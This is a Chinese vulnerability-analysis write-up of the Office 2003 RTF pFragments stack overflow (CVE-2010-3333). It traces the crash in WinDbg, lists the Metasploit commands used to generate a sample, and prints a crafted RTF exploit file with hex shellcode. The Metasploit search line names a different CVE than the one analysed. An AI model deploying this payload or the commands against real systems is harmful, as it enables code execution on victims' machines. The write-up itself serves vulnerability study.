实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | |
虚拟机 | Vmware | |
调试器 | OD | |
反汇编器 | IDA Pro | |
漏洞软件 | Microsoft Office 2003 |
动态分析
样本的获取可以通过msf构造。
search cve-2010-2883
use xxxxx
info
set target x
exploit
打开winword,windbg附加进程,word打开msf.rtf。产生异常。
edi为130000。READONLY区域。
由于此时栈空间已被破坏,所以b 30e9eb88打个断点,然后kb查看栈帧。
ub 30f4cdbd查看一下返回地址之上的指令。问题出在0x30f4cc5d这个函数里。
该func地址和漏洞出现地址0x30e9eb88相近。
这里ecx从文件中获取了0xc8ac。
然后将存放文件内容的内存地址给了esi。
由于rep movs dword所以ecx除以了4。
此时ebp为0x123dd0,edi为0x123dc0。差16字节,如果覆盖返回地址需要16+4+4字节。
由于是hex数据ascii话,所以两个字符代表一个字节。
最后构造如下:
结果是能跳过去执行,但是shellcode无用,触发了异常。由于重点是漏洞分析,而不是漏洞利用,这里就不继续跟进了。
{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;3;1111111160001111222233334444555566667777888899991010ed1e967c2222333344445555666677778888999900000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db536877657374686661696c8bc453505053ff57fc53ff57f89090909090909090}}}}
静态分析
RTF结构
RTF(Rich Text Format)格式是Microsoft公司为进行文本和图像信息格式的交换而制定的一种文件格式,它适用于不同的设备,操作系统和操作环境。RTF文件的基本元素是正文,控制字,控制符号和群组。
一个完整的RTF文件包括文件头<header>和文档区<document>两大部分,可以用下列语法表示
<File>'{'<header> <document>'}'
CVE-2010-3333样本如下
对其分析:
\rtf1 -- 版本
\ansi -- 支持ANSI字符集
\shp -- 绘图对象
\*\shpinst -- 图片引用
\sp -- 绘图对象属性定义
\sn pFragments -- 定义属性名称,pFragments段是图形的附加部分,属于数组结构,它允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv -- 定义属性值
补丁分析
由于是call eax+0x30,需要动态调试跟进去看看。
总结
- ub命令查看地址前的指令。
- kb栈回溯。
- 回溯第一列是ebp第二列返回地址第三四五为三个参数。
问题
- IDA如何导出一个函数的代码?
文章评论